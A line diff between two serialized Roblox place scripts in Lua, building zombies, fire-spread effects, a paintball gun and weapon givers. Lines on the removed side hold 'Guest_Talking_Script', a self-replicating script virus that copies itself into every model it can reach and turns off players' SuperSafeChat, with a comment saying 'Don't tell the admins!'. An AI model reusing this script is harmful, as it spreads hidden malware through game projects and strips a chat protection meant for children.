1954-
		return
1954+
1955
1956
1957-
	--Tool.Enabled = false
1957+
1958
	wait(math.random(1,5))
1959-
	local character = Tool.Parent;
1959+
	local target = findNearestTorso(script.Parent.Torso.Position)
1960-
	local humanoid = character.Humanoid
1960+
	if target ~= nil then
1961-
	if humanoid == nil then
1961+
		script.Parent.Humanoid:MoveTo(target.Position, target)
1962-
		print("Humanoid not found")
1962+
1963-
		return 
1963+
1964
end
1965
1966-
	local targetPos = humanoid.TargetPoint
1966+
1967-
	local lookAt = (targetPos - character.Head.Position).unit
1967+
Script97.Name = "Health"
1968-
	
1968+
Script97.Parent = Model82
1969-
	if (check()) then
1969+
table.insert(cors,sandbox(Script97,function()
1970-
	fire(lookAt)
1970+
function waitForChild(parent, childName)
1971-
	wait(0)
1971+
	while true do
1972-
	onActivated()
1972+
		local child = parent:findFirstChild(childName)
1973
		if child then
1974-
	return
1974+
1975
		end
1976-
	--Tool.Enabled = true
1976+
		parent.ChildAdded:wait()
1977
	end
1978
end
1979
1980-
script.Parent.Activated:connect(onActivated)
1980+
-- declarations
1981
1982
local Figure = script.Parent
1983-
Script112.Name = "Paintball"
1983+
local Head = waitForChild(Figure, "Head")
1984-
Script112.Parent = Tool97
1984+
local Humanoid = waitForChild(Figure, "Humanoid")
1985-
table.insert(cors,sandbox(Script112,function()
1985+
Humanoid.Health=500
1986-
ball = script.Parent
1986+
-- regeneration
1987-
damage = 60
1987+
1988
	local s = wait(4)
1989
	local health = Humanoid.Health
1990
	if health > 0 and health < Humanoid.MaxHealth then
1991-
function onTouched(hit)
1991+
		health = health + 0.08 * s * Humanoid.MaxHealth
1992-
	local humanoid = hit.Parent:findFirstChild("Humanoid")
1992+
		if health * 1.05 < Humanoid.MaxHealth then
1993-
	-- make a splat
1993+
			Humanoid.Health = health
1994-
	--for i=1,3 do
1994+
		else
1995-
	--	local s = Instance.new("Part")
1995+
			Humanoid.Health = Humanoid.MaxHealth
1996-
	--	s.Shape = 1 -- block
1996+
1997-
	--	s.formFactor = 2 -- plate
1997+
1998-
	--	s.Size = Vector3.new(1,.4,1)
1998+
1999-
	--	s.BrickColor = ball.BrickColor
1999+
2000-
	--	local v = Vector3.new(math.random(-1,1), math.random(0,1), math.random(-1,1))
2000+
2001-
	--	s.Velocity = 15 * v--15
2001+
Script98.Name = "Respawn"
2002-
	--	s.CFrame = CFrame.new(ball.Position + v, v)
2002+
Script98.Parent = Model82
2003-
	---	ball.BrickCleanup:clone().Parent = s
2003+
table.insert(cors,sandbox(Script98,function()
2004-
	--	s.BrickCleanup.Disabled = false
2004+
name="Humanoid"
2005-
	--	s.Parent = game.Workspace
2005+
2006-
	--	
2006+
robo=script.Parent:clone()
2007-
	--end
2007+
2008-
	
2008+
2009
	wait(1)
2010-
	if humanoid ~= nil then
2010+
	if script.Parent.Humanoid.Health<1 then
2011-
		tagHumanoid(humanoid)
2011+
		robot=robo:clone()
2012-
		humanoid.Health = humanoid.Health - damage
2012+
		robot.Parent=script.Parent.Parent
2013-
		wait(2)
2013+
		robot:makeJoints()
2014-
		untagHumanoid(humanoid)
2014+
		script.Parent:remove()
2015
	end
2016
end
2017-
	connection:disconnect()
2017+
2018-
	ball.Parent = nil
2018+
2019
2020
2021-
function tagHumanoid(humanoid)
2021+
2022-
	-- todo: make tag expire
2022+
Part99.Name = "Spawn Location"
2023-
	local tag = ball:findFirstChild("creator")
2023+
Part99.Parent = Model81
2024-
	if tag ~= nil then
2024+
Part99.CFrame = CFrame.new(201.113586, 0.603015006, 241.491455, -1.00000024, 0, 0, 0, 1, 0, 0, 0, -1.00000024)
2025-
		local new_tag = tag:clone()
2025+
Part99.Orientation = Vector3.new(0, 180, 0)
2026-
		new_tag.Parent = humanoid
2026+
Part99.Position = Vector3.new(201.113586, 0.603015006, 241.491455)
2027
Part99.Rotation = Vector3.new(-180, 0, -180)
2028
Part99.Color = Color3.new(0.631373, 0.768628, 0.54902)
2029
Part99.Size = Vector3.new(6, 1.20000005, 6)
2030
Part99.BottomSurface = Enum.SurfaceType.Weld
2031-
function untagHumanoid(humanoid)
2031+
Part99.BrickColor = BrickColor.new("Medium green")
2032-
	if humanoid ~= nil then
2032+
Part99.TopSurface = Enum.SurfaceType.Smooth
2033-
		local tag = humanoid:findFirstChild("creator")
2033+
Part99.brickColor = BrickColor.new("Medium green")
2034-
		if tag ~= nil then
2034+
Decal100.Parent = Part99
2035-
			tag.Parent = nil
2035+
Decal100.Texture = "http://www.roblox.com/asset/?id=34541722"
2036
Decal100.Face = Enum.NormalId.Top
2037
Model101.Parent = Model0
2038
Model102.Name = "Zombie"
2039
Model102.Parent = Model101
2040-
connection = ball.Touched:connect(onTouched)
2040+
Model102.PrimaryPart = Part103
2041
Part103.Name = "Head"
2042-
wait(8)
2042+
Part103.Parent = Model102
2043-
ball.Parent = nil
2043+
Part103.CFrame = CFrame.new(195.586472, 6.09696293, 223.508453, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
2044
Part103.Orientation = Vector3.new(0, 90, 0)
2045
Part103.Position = Vector3.new(195.586472, 6.09696293, 223.508453)
2046-
Script113.Name = "PUT THIS IN THE WEAPON"
2046+
Part103.Rotation = Vector3.new(0, 90, 0)
2047-
Script113.Parent = Tool97
2047+
Part103.Color = Color3.new(0.631373, 0.768628, 0.54902)
2048
Part103.Size = Vector3.new(2, 1, 1)
2049-
local debounce = false
2049+
Part103.BrickColor = BrickColor.new("Medium green")
2050
Part103.TopSurface = Enum.SurfaceType.Smooth
2051-
function getPlayer(humanoid) 
2051+
Part103.brickColor = BrickColor.new("Medium green")
2052-
local players = game.Players:children() 
2052+
2053-
for i = 1, #players do 
2053+
2054-
if players[i].Character.Humanoid == humanoid then return players[i] end 
2054+
SpecialMesh104.Parent = Part103
2055-
end 
2055+
SpecialMesh104.Scale = Vector3.new(1.25, 1.25, 1.25)
2056-
return nil 
2056+
Decal105.Name = "face"
2057-
end 
2057+
Decal105.Parent = Part103
2058
Part106.Name = "Torso"
2059-
function onTouch(part) 
2059+
Part106.Parent = Model102
2060
Part106.CFrame = CFrame.new(195.586472, 4.59696293, 223.508453, 0, 0, 1.00000024, 0, 1, 0, -1.00000024, 0, 0)
2061-
local human = part.Parent:findFirstChild("Humanoid") 
2061+
Part106.Orientation = Vector3.new(0, 90, 0)
2062-
if (human ~= nil) and debounce == false then
2062+
Part106.Position = Vector3.new(195.586472, 4.59696293, 223.508453)
2063
Part106.Rotation = Vector3.new(0, 90, 0)
2064-
debounce = true
2064+
Part106.Color = Color3.new(0.411765, 0.25098, 0.156863)
2065
Part106.Size = Vector3.new(2, 2, 1)
2066-
local player = getPlayer(human) 
2066+
Part106.BrickColor = BrickColor.new("Reddish brown")
2067
Part106.LeftParamA = 0
2068-
if (player == nil) then return end 
2068+
Part106.LeftParamB = 0
2069
Part106.LeftSurface = Enum.SurfaceType.Weld
2070-
script.Parent:clone().Parent = player.Backpack
2070+
Part106.RightParamA = 0
2071
Part106.RightParamB = 0
2072-
wait(2)
2072+
Part106.RightSurface = Enum.SurfaceType.Weld
2073-
debounce = false
2073+
Part106.brickColor = BrickColor.new("Reddish brown")
2074
Part106.FormFactor = Enum.FormFactor.Symmetric
2075
Part106.formFactor = Enum.FormFactor.Symmetric
2076
Part107.Name = "Left Leg"
2077
Part107.Parent = Model102
2078-
script.Parent.Parent.Touched:connect(onTouch) 
2078+
Part107.CFrame = CFrame.new(195.586472, 2.59695911, 224.008453, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
2079
Part107.Orientation = Vector3.new(0, 90, 0)
2080
Part107.Position = Vector3.new(195.586472, 2.59695911, 224.008453)
2081-
Fire114.Parent = Part96
2081+
Part107.Rotation = Vector3.new(0, 90, 0)
2082-
Fire114.Color = Color3.new(1, 0.745098, 0)
2082+
Part107.Color = Color3.new(0.411765, 0.25098, 0.156863)
2083-
Fire114.Enabled = false
2083+
Part107.Size = Vector3.new(1, 2, 1)
2084-
Fire114.Size = 30
2084+
Part107.BottomSurface = Enum.SurfaceType.Smooth
2085-
Fire114.Heat = 25
2085+
Part107.BrickColor = BrickColor.new("Reddish brown")
2086-
Fire114.SecondaryColor = Color3.new(1, 0, 0)
2086+
Part107.CanCollide = false
2087-
Fire114.size = 30
2087+
Part107.brickColor = BrickColor.new("Reddish brown")
2088-
Script115.Parent = Fire114
2088+
Part107.FormFactor = Enum.FormFactor.Symmetric
2089-
table.insert(cors,sandbox(Script115,function()
2089+
Part107.formFactor = Enum.FormFactor.Symmetric
2090-
function Spread(part)
2090+
Part108.Name = "Right Leg"
2091-
	check = part:findFirstChild("Fire")
2091+
Part108.Parent = Model102
2092-
		if check == nil then 
2092+
Part108.CFrame = CFrame.new(195.586472, 2.59695911, 223.008453, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
2093-
	script.Parent:Clone().Parent = part
2093+
Part108.Orientation = Vector3.new(0, 90, 0)
2094-
	
2094+
Part108.Position = Vector3.new(195.586472, 2.59695911, 223.008453)
2095-
		elseif check ~= nil then
2095+
Part108.Rotation = Vector3.new(0, 90, 0)
2096-
	check.Size = check.Size + 1
2096+
Part108.Color = Color3.new(0.411765, 0.25098, 0.156863)
2097-
	check.Heat = check.Heat  +1
2097+
Part108.Size = Vector3.new(1, 2, 1)
2098
Part108.BottomSurface = Enum.SurfaceType.Smooth
2099
Part108.BrickColor = BrickColor.new("Reddish brown")
2100
Part108.CanCollide = false
2101
Part108.brickColor = BrickColor.new("Reddish brown")
2102-
script.Parent.Parent.Touched:connect(Spread)
2102+
Part108.FormFactor = Enum.FormFactor.Symmetric
2103
Part108.formFactor = Enum.FormFactor.Symmetric
2104
Humanoid109.Parent = Model102
2105
Humanoid109.LeftLeg = Part107
2106-
Part116.Name = "Smooth Block Model"
2106+
Humanoid109.NameOcclusion = Enum.NameOcclusion.NoOcclusion
2107-
Part116.Parent = Model89
2107+
Humanoid109.RightLeg = Part108
2108-
Part116.CFrame = CFrame.new(169.399658, 17.5175972, 181.312256, -0.999997556, 0.000129476728, -1.04847277e-05, 0.000129477135, 1, -4.31583539e-05, 1.0479147e-05, -4.31595981e-05, -0.999997556)
2108+
Humanoid109.Torso = Part106
2109-
Part116.Orientation = Vector3.new(0, -180, 0.00999999978)
2109+
Part110.Name = "zarm"
2110-
Part116.Position = Vector3.new(169.399658, 17.5175972, 181.312256)
2110+
Part110.Parent = Model102
2111-
Part116.Rotation = Vector3.new(180, 0, -179.98999)
2111+
Part110.CFrame = CFrame.new(195.086472, 5.09696293, 225.008453, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
2112-
Part116.Color = Color3.new(0.105882, 0.164706, 0.207843)
2112+
Part110.Orientation = Vector3.new(0, 180, 0)
2113-
Part116.Transparency = 0.30000001192093
2113+
Part110.Position = Vector3.new(195.086472, 5.09696293, 225.008453)
2114-
Part116.Size = Vector3.new(6, 6, 1)
2114+
Part110.Rotation = Vector3.new(-180, 0, -180)
2115-
Part116.Anchored = true
2115+
Part110.Color = Color3.new(0.631373, 0.768628, 0.54902)
2116-
Part116.BrickColor = BrickColor.new("Black")
2116+
Part110.Size = Vector3.new(2, 1, 1)
2117-
Part116.brickColor = BrickColor.new("Black")
2117+
Part110.BottomSurface = Enum.SurfaceType.Smooth
2118-
Part117.Name = "Smooth Block Model"
2118+
Part110.BrickColor = BrickColor.new("Medium green")
2119-
Part117.Parent = Model89
2119+
Part110.TopSurface = Enum.SurfaceType.Smooth
2120-
Part117.CFrame = CFrame.new(171.899658, 17.5168667, 183.312256, 2.32314012e-09, 0.000152589986, -0.999997258, 3.05180438e-05, 1, 0.000152589986, 0.999997258, -3.05179528e-05, -2.32542519e-09)
2120+
Part110.brickColor = BrickColor.new("Medium green")
2121-
Part117.Orientation = Vector3.new(-0.00999999978, -90, 0)
2121+
Part110.FormFactor = Enum.FormFactor.Symmetric
2122-
Part117.Position = Vector3.new(171.899658, 17.5168667, 183.312256)
2122+
Part110.formFactor = Enum.FormFactor.Symmetric
2123-
Part117.Rotation = Vector3.new(-90, -89.8699951, -90)
2123+
Script111.Parent = Part110
2124-
Part117.Color = Color3.new(0.105882, 0.164706, 0.207843)
2124+
2125-
Part117.Transparency = 0.30000001192093
2125+
wait(1)
2126-
Part117.Size = Vector3.new(3, 6, 1)
2126+
owner=script.Parent.Parent.Name
2127-
Part117.Anchored = true
2127+
2128-
Part117.BrickColor = BrickColor.new("Black")
2128+
function onTouched(part)
2129-
Part117.brickColor = BrickColor.new("Black")
2129+
	if part.Parent ~= nil then
2130-
Script118.Name = "READ ME FOR INSTRUCTIONS"
2130+
		local h = part.Parent:findFirstChild("Humanoid")
2131-
Script118.Parent = Model89
2131+
			if h~=nil then
2132
				if cantouch~=0 then
2133-
--DONT PUT THIS IN ANYTHING IT'S JUST INSTRUCTIONS.
2133+
					if h.Parent.Name~=owner then
2134-
--First Place the "PUT THIS IN THE WEAPON" script in your Weapon or Tool.
2134+
						
2135-
--Then place your Weapon or Tool in the "PUT THE WEAPON IN THIS BRICK" brick.
2135+
						if h.Parent:findFirstChild("zarm")~=nil then return end
2136
2137-
--IMPORTANT (OPTINAL)
2137+
						cantouch=0
2138-
--Before doing anything you should put the Weapon or Tool in the giver where you want it.
2138+
2139
						local larm=h.Parent:findFirstChild("Left Arm")
2140-
Part119.Name = "Smooth Block Model"
2140+
						local rarm=h.Parent:findFirstChild("Right Arm")
2141-
Part119.Parent = Model89
2141+
						
2142-
Part119.CFrame = CFrame.new(169.400146, 21.1176281, 182.812134, -0.999997556, 0.000129476728, -1.04847277e-05, 0.000129477135, 1, -4.31583539e-05, 1.0479147e-05, -4.31595981e-05, -0.999997556)
2142+
						if larm~=nil then
2143-
Part119.Orientation = Vector3.new(0, -180, 0.00999999978)
2143+
							larm:remove()
2144-
Part119.Position = Vector3.new(169.400146, 21.1176281, 182.812134)
2144+
						end
2145-
Part119.Rotation = Vector3.new(180, 0, -179.98999)
2145+
						if rarm~=nil then
2146-
Part119.Color = Color3.new(0.105882, 0.164706, 0.207843)
2146+
							rarm:remove()
2147-
Part119.Transparency = 0.30000001192093
2147+
						end
2148-
Part119.Size = Vector3.new(6, 1.20000005, 4)
2148+
						local zee=script.Parent.Parent:findFirstChild("zarm")
2149-
Part119.Anchored = true
2149+
						if zee~=nil then
2150-
Part119.BrickColor = BrickColor.new("Black")
2150+
							local zlarm=zee:clone()
2151
							local zrarm=zee:clone()
2152-
Part119.brickColor = BrickColor.new("Black")
2152+
							if zlarm~=nil then
2153-
Fire120.Parent = Part119
2153+
2154-
Fire120.Color = Color3.new(1, 0.745098, 0)
2154+
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
2155-
Fire120.Enabled = false
2155+
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
2156-
Fire120.Size = 30
2156+
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
2157-
Fire120.Heat = 25
2157+
								zlarm.Parent=h.Parent
2158-
Fire120.SecondaryColor = Color3.new(1, 0, 0)
2158+
								zrarm.Parent=h.Parent
2159-
Fire120.size = 30
2159+
								zlarm:makeJoints()
2160-
Script121.Parent = Fire120
2160+
								zrarm:makeJoints()
2161-
table.insert(cors,sandbox(Script121,function()
2161+
								zlarm.Anchored=false
2162-
function Spread(part)
2162+
								zrarm.Anchored=false
2163-
	check = part:findFirstChild("Fire")
2163+
								wait(0.1)
2164-
		if check == nil then 
2164+
								h.Parent.Head.Color=zee.Color
2165-
	script.Parent:Clone().Parent = part
2165+
							else print("no zee"); return end
2166-
	
2166+
						end
2167-
		elseif check ~= nil then
2167+
						wait(1)
2168-
	check.Size = check.Size + 1
2168+
						cantouch=1
2169-
	check.Heat = check.Heat  +1
2169+
					end
2170
				end
2171
			end
2172
	end
2173
end
2174-
script.Parent.Parent.Touched:connect(Spread)
2174+
2175
script.Parent.Touched:connect(onTouched)
2176
end))
2177
Part112.Name = "zarm"
2178-
Script122.Name = "Guest_Talking_Script"
2178+
Part112.Parent = Model102
2179-
Script122.Parent = Model89
2179+
Part112.CFrame = CFrame.new(195.086472, 5.09696293, 222.008453, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
2180-
table.insert(cors,sandbox(Script122,function()
2180+
Part112.Orientation = Vector3.new(0, 180, 0)
2181-
--Farvei's totally awesome script that makes Guests talk
2181+
Part112.Position = Vector3.new(195.086472, 5.09696293, 222.008453)
2182-
--Please give credit
2182+
Part112.Rotation = Vector3.new(-180, 0, -180)
2183-
--Don't tell the admins!
2183+
Part112.Color = Color3.new(0.631373, 0.768628, 0.54902)
2184-
--Unnote the vaccine if you'd like to remove all copies of this script in your place
2184+
Part112.Size = Vector3.new(2, 1, 1)
2185-
if (script.Parent == workspace) then
2185+
Part112.BottomSurface = Enum.SurfaceType.Smooth
2186-
	function checkForAndSwitch(player)
2186+
Part112.BrickColor = BrickColor.new("Medium green")
2187-
		if (player.SuperSafeChat == true) then
2187+
Part112.TopSurface = Enum.SurfaceType.Smooth
2188-
			player.SuperSafeChat = false;
2188+
Part112.brickColor = BrickColor.new("Medium green")
2189-
			wait(5);
2189+
Part112.FormFactor = Enum.FormFactor.Symmetric
2190-
			local m = Instance.new("Message");
2190+
Part112.formFactor = Enum.FormFactor.Symmetric
2191-
			m.Text = "Hey People! Its elomoto1236.";
2191+
Script113.Parent = Part112
2192-
			m.Parent = player;
2192+
2193-
			wait(5);
2193+
wait(1)
2194-
			m.Text = "Just hit the /, and than type in your message..";
2194+
owner=script.Parent.Parent.Name
2195-
			wait(5);
2195+
2196-
			m:Remove();
2196+
function onTouched(part)
2197-
			m = nil;
2197+
	if part.Parent ~= nil then
2198
		local h = part.Parent:findFirstChild("Humanoid")
2199-
		player = nil;
2199+
			if h~=nil then
2200-
		collectgarbage("collect");
2200+
				if cantouch~=0 then
2201
					if h.Parent.Name~=owner then
2202
						
2203-
	function onChildAddedToPlayers(obj)
2203+
						if h.Parent:findFirstChild("zarm")~=nil then return end
2204-
		if (obj.className == "Player") then
2204+
2205-
			checkForAndSwitch(obj);
2205+
						cantouch=0
2206-
			local m = Instance.new("Message");
2206+
2207-
			m.Text = "elomoto1236 here. Guests are welcome to talk here.";
2207+
						local larm=h.Parent:findFirstChild("Left Arm")
2208-
			m.Parent = obj;
2208+
						local rarm=h.Parent:findFirstChild("Right Arm")
2209-
			wait(5);
2209+
						
2210-
			m:Remove();
2210+
						if larm~=nil then
2211-
			m = nil;
2211+
							larm:remove()
2212
						end
2213-
		obj = nil;
2213+
						if rarm~=nil then
2214-
		collectgarbage("collect");
2214+
							rarm:remove()
2215
						end
2216
						local zee=script.Parent.Parent:findFirstChild("zarm")
2217-
	function onChildAddedToWorkspace(obj)
2217+
						if zee~=nil then
2218-
		if (obj.className == "Model") then
2218+
							local zlarm=zee:clone()
2219-
			if (game.Players:playerFromCharacter(obj) ~= nil) then
2219+
							local zrarm=zee:clone()
2220-
				checkForAndSwitch(game.Players:playerFromCharacter(obj));
2220+
							if zlarm~=nil then
2221
2222
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
2223-
		obj = nil;
2223+
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
2224-
		collectgarbage("collect");
2224+
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
2225
								zlarm.Parent=h.Parent
2226
								zrarm.Parent=h.Parent
2227-
	function findLowestLevel(obj)
2227+
								zlarm:makeJoints()
2228-
		local c = obj:GetChildren();
2228+
								zrarm:makeJoints()
2229-
		local lowestLevel = true;
2229+
								zlarm.Anchored=false
2230
								zrarm.Anchored=false
2231-
		for i, v in pairs(c) do
2231+
								wait(0.1)
2232-
			if (v.className == "Model" or v.className == "Tool" or v.className == "HopperBin" or v == workspace or v == game.Lighting or v == game.StarterPack) then
2232+
								h.Parent.Head.Color=zee.Color
2233-
				lowestLevel = false;
2233+
							else print("no zee"); return end
2234-
				wait();
2234+
						end
2235-
				findLowestLevel(v);
2235+
						wait(1)
2236
						cantouch=1
2237
					end
2238
				end
2239-
		if (obj ~= workspace and lowestLevel == true and (obj:FindFirstChild(script.Name) == nil)) then
2239+
2240-
			if (obj ~= game.Lighting and obj ~= game.StarterPack) then
2240+
2241-
				local s = script:Clone();
2241+
2242-
				s.Parent = obj;
2242+
2243
script.Parent.Touched:connect(onTouched)
2244
end))
2245
ObjectValue114.Name = "IsNZ"
2246
ObjectValue114.Parent = Model102
2247-
	findLowestLevel(game);
2247+
IntValue115.Name = "Mode"
2248
IntValue115.Parent = Model102
2249-
	game.Players.ChildAdded:connect(onChildAddedToPlayers);
2249+
Script116.Parent = Model102
2250-
	game.Workspace.ChildAdded:connect(onChildAddedToWorkspace);
2250+
table.insert(cors,sandbox(Script116,function()
2251-
else
2251+
local larm = script.Parent:FindFirstChild("Left Arm")
2252-
	local findScript = workspace:FindFirstChild(script.Name);
2252+
local rarm = script.Parent:FindFirstChild("Right Arm")
2253
2254-
	if (findScript == nil) then
2254+
function findNearestTorso(pos)
2255-
		local s = script:Clone();
2255+
	local list = game.Workspace:children()
2256-
		s.Parent = workspace;
2256+
	local torso = nil
2257
	local dist = 1000
2258
	local temp = nil
2259
	local human = nil
2260-
--[[function findAllCopies(obj)
2260+
	local temp2 = nil
2261-
	local c = obj:GetChildren();
2261+
	for x = 1, #list do
2262
		temp2 = list[x]
2263-
	for i, v in pairs(c) do
2263+
		if (temp2.className == "Model") and (temp2 ~= script.Parent) then
2264-
		if (v.Name == script.Name and v.className == "Script" and v ~= script) then
2264+
			temp = temp2:findFirstChild("Right Arm")
2265-
			v.Parent = nil;
2265+
			human = temp2:findFirstChild("Humanoid")
2266-
		elseif (v.className == "Model" or v.className == "Tool" or v.className == "HopperBin" or v == workspace or v == game.Lighting or v == game.StarterPack) then
2266+
			if (temp ~= nil) and (human ~= nil) and (human.Health > 0) then
2267-
			findAllCopies(v);
2267+
				if (temp.Position - pos).magnitude < dist then
2268
					torso = temp
2269
					dist = (temp.Position - pos).magnitude
2270
				end
2271
			end
2272-
findAllCopies(game);
2272+
2273
	end
2274-
script.Parent = nil;]]
2274+
	return torso
2275
end
2276-
RotateP123.Name = "cptrick"
2276+
2277-
RotateP123.Parent = Script122
2277+
2278-
RotateP124.Name = "stanley12345678910"
2278+
2279-
RotateP124.Parent = Script122
2279+
2280-
RotateP125.Name = "cahrlie84"
2280+
2281-
RotateP125.Parent = Script122
2281+
	wait(math.random(1,5))
2282-
RotateP126.Name = "charlie84"
2282+
	local target = findNearestTorso(script.Parent.Torso.Position)
2283-
RotateP126.Parent = Script122
2283+
	if target ~= nil then
2284-
RotateP127.Name = "al2tair"
2284+
		script.Parent.Humanoid:MoveTo(target.Position, target)
2285-
RotateP127.Parent = Script122
2285+
2286-
Part128.Parent = Model0
2286+
2287-
Part128.CFrame = CFrame.new(156.001465, 3.6072073, 209.499512, 1.92279822e-05, 0.000773254083, -0.999999702, 4.37182571e-05, 0.999999702, 0.000773254898, 1, -4.37331146e-05, 1.91941708e-05)
2287+
2288-
Part128.Orientation = Vector3.new(-0.0399999991, -90, 0)
2288+
2289-
Part128.Position = Vector3.new(156.001465, 3.6072073, 209.499512)
2289+
2290-
Part128.Rotation = Vector3.new(-88.5800018, -89.9599991, -88.5800018)
2290+
Script117.Name = "Health"
2291-
Part128.Color = Color3.new(0.0509804, 0.411765, 0.67451)
2291+
Script117.Parent = Model102
2292-
Part128.Velocity = Vector3.new(-0.00581113482, -0.0359474495, 0.000347658643)
2292+
table.insert(cors,sandbox(Script117,function()
2293-
Part128.Size = Vector3.new(59, 2.4000001, 2)
2293+
function waitForChild(parent, childName)
2294-
Part128.Anchored = true
2294+
	while true do
2295-
Part128.BrickColor = BrickColor.new("Bright blue")
2295+
		local child = parent:findFirstChild(childName)
2296-
Part128.RotVelocity = Vector3.new(0.00435886765, -0.0079198014, 0.000480214454)
2296+
		if child then
2297-
Part128.TopSurface = Enum.SurfaceType.Smooth
2297+
2298-
Part128.brickColor = BrickColor.new("Bright blue")
2298+
2299-
Fire129.Parent = Part128
2299+
		parent.ChildAdded:wait()
2300-
Fire129.Color = Color3.new(1, 0.745098, 0)
2300+
2301-
Fire129.Enabled = false
2301+
2302-
Fire129.Size = 30
2302+
2303-
Fire129.Heat = 25
2303+
-- declarations
2304-
Fire129.SecondaryColor = Color3.new(1, 0, 0)
2304+
2305-
Fire129.size = 30
2305+
local Figure = script.Parent
2306-
Script130.Parent = Fire129
2306+
local Head = waitForChild(Figure, "Head")
2307-
table.insert(cors,sandbox(Script130,function()
2307+
local Humanoid = waitForChild(Figure, "Humanoid")
2308-
function Spread(part)
2308+
Humanoid.Health=500
2309-
	check = part:findFirstChild("Fire")
2309+
-- regeneration
2310-
		if check == nil then 
2310+
2311-
	script.Parent:Clone().Parent = part
2311+
	local s = wait(4)
2312-
	
2312+
	local health = Humanoid.Health
2313-
		elseif check ~= nil then
2313+
	if health > 0 and health < Humanoid.MaxHealth then
2314-
	check.Size = check.Size + 1
2314+
		health = health + 0.08 * s * Humanoid.MaxHealth
2315-
	check.Heat = check.Heat  +1
2315+
		if health * 1.05 < Humanoid.MaxHealth then
2316
			Humanoid.Health = health
2317
		else
2318
			Humanoid.Health = Humanoid.MaxHealth
2319
		end
2320-
script.Parent.Parent.Touched:connect(Spread)
2320+
2321
end
2322
2323
end))
2324-
Part131.Parent = Model0
2324+
Script118.Name = "Respawn"
2325-
Part131.CFrame = CFrame.new(186.001465, 27.0098267, 188, 0, 0, -1, 0, 1, 0, 1, 0, 0)
2325+
Script118.Parent = Model102
2326-
Part131.Orientation = Vector3.new(0, -90, 0)
2326+
2327-
Part131.Position = Vector3.new(186.001465, 27.0098267, 188)
2327+
name="Humanoid"
2328-
Part131.Rotation = Vector3.new(0, -90, 0)
2328+
2329-
Part131.Color = Color3.new(0.631373, 0.647059, 0.635294)
2329+
robo=script.Parent:clone()
2330-
Part131.Size = Vector3.new(20, 1.20000005, 20)
2330+
2331-
Part131.Anchored = true
2331+
2332-
Part131.BottomSurface = Enum.SurfaceType.Smooth
2332+
	wait(1)
2333-
Part131.BrickColor = BrickColor.new("Grey")
2333+
	if script.Parent.Humanoid.Health<1 then
2334-
Part131.TopSurface = Enum.SurfaceType.Smooth
2334+
		robot=robo:clone()
2335-
Part131.brickColor = BrickColor.new("Grey")
2335+
		robot.Parent=script.Parent.Parent
2336-
Fire132.Parent = Part131
2336+
		robot:makeJoints()
2337-
Fire132.Color = Color3.new(1, 0.72549, 0)
2337+
		script.Parent:remove()
2338-
Fire132.Enabled = false
2338+
2339-
Fire132.Size = 30
2339+
2340-
Fire132.Heat = 25
2340+
2341-
Fire132.SecondaryColor = Color3.new(1, 0, 0)
2341+
2342-
Fire132.size = 30
2342+
2343-
Script133.Name = "Spread"
2343+
2344-
Script133.Parent = Fire132
2344+
2345
Part119.Name = "Spawn Location"
2346-
function Spread(part)
2346+
Part119.Parent = Model101
2347-
	check = part:findFirstChild("Fire")
2347+
Part119.CFrame = CFrame.new(195.091461, 0.600009978, 223.48645, -1.00000024, 0, 0, 0, 1, 0, 0, 0, -1.00000024)
2348-
		if check == nil then 
2348+
Part119.Orientation = Vector3.new(0, 180, 0)
2349-
	script.Parent:Clone().Parent = part
2349+
Part119.Position = Vector3.new(195.091461, 0.600009978, 223.48645)
2350-
	
2350+
Part119.Rotation = Vector3.new(-180, 0, -180)
2351-
		elseif check ~= nil then
2351+
Part119.Color = Color3.new(0.631373, 0.768628, 0.54902)
2352-
	check.Size = check.Size + 1
2352+
Part119.Size = Vector3.new(6, 1.20000005, 6)
2353-
	check.Heat = check.Heat  +1
2353+
Part119.BottomSurface = Enum.SurfaceType.Weld
2354
Part119.BrickColor = BrickColor.new("Medium green")
2355
Part119.TopSurface = Enum.SurfaceType.Smooth
2356
Part119.brickColor = BrickColor.new("Medium green")
2357
Decal120.Parent = Part119
2358-
script.Parent.Parent.Touched:connect(Spread)
2358+
Decal120.Texture = "http://www.roblox.com/asset/?id=34541722"
2359
Decal120.Face = Enum.NormalId.Top
2360
Model121.Parent = Model0
2361-
Decal134.Parent = Part131
2361+
Model122.Name = "Zombie"
2362-
Decal134.Texture = "http://www.roblox.com/asset/?id=41363835"
2362+
Model122.Parent = Model121
2363-
Decal134.Face = Enum.NormalId.Top
2363+
Model122.PrimaryPart = Part123
2364-
Model135.Name = "grapple hook giver"
2364+
Part123.Name = "Head"
2365-
Model135.Parent = Model0
2365+
Part123.Parent = Model122
2366-
Part136.Name = "Smooth Block Model"
2366+
Part123.CFrame = CFrame.new(195.586472, 6.09696293, 241.508453, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
2367-
Part136.Parent = Model135
2367+
Part123.Orientation = Vector3.new(0, 90, 0)
2368-
Part136.CFrame = CFrame.new(176.901611, 17.52244, 183.3125, 0, 0, -1, 0, 1, 0, 1, 0, 0)
2368+
Part123.Position = Vector3.new(195.586472, 6.09696293, 241.508453)
2369-
Part136.Orientation = Vector3.new(0, -90, 0)
2369+
Part123.Rotation = Vector3.new(0, 90, 0)
2370-
Part136.Position = Vector3.new(176.901611, 17.52244, 183.3125)
2370+
Part123.Color = Color3.new(0.631373, 0.768628, 0.54902)
2371-
Part136.Rotation = Vector3.new(0, -90, 0)
2371+
Part123.Size = Vector3.new(2, 1, 1)
2372-
Part136.Color = Color3.new(0.105882, 0.164706, 0.207843)
2372+
Part123.BrickColor = BrickColor.new("Medium green")
2373-
Part136.Transparency = 0.30000001192093
